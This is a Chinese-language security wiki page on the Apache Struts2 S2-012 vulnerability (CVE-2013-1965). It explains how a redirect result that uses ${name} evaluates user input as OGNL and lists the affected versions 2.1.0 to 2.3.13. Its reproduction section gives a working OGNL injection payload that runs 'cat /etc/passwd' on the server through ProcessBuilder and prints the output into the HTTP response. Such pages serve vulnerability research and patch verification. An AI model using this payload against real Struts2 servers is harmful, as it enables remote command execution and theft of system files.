menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2013-1965)s2-012 chevron_right (CVE-2013-1965)s2-012.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2013-1965)s2-012.md
    1.32 KB / 2021-07-15 19:48:26
        (CVE-2013-1965)s2-012
    =======================
    
    一、漏洞简介
    ------------
    
    > 如果在配置 Action 中 Result 时使用了重定向类型,并且还使用
    > \${param\_name} 作为重定向变量,例如:
    
        <package name="S2-012" extends="struts-default">
            <action name="user" class="com.demo.action.UserAction">
                <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
                <result name="input">/index.jsp</result>
                <result name="success">/index.jsp</result>
            </action>
        </package>
    
    这里 UserAction 中定义有一个 name 变量,当触发 redirect
    类型返回时,Struts2 获取使用 \${name} 获取其值,在这个过程中会对 name
    参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
    
    二、漏洞影响
    ------------
    
    2.1.0 - 2.3.13
    
    三、复现过程
    ------------
    
    ### poc
    
    图片.png
    
        %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    
    
    links
    file_download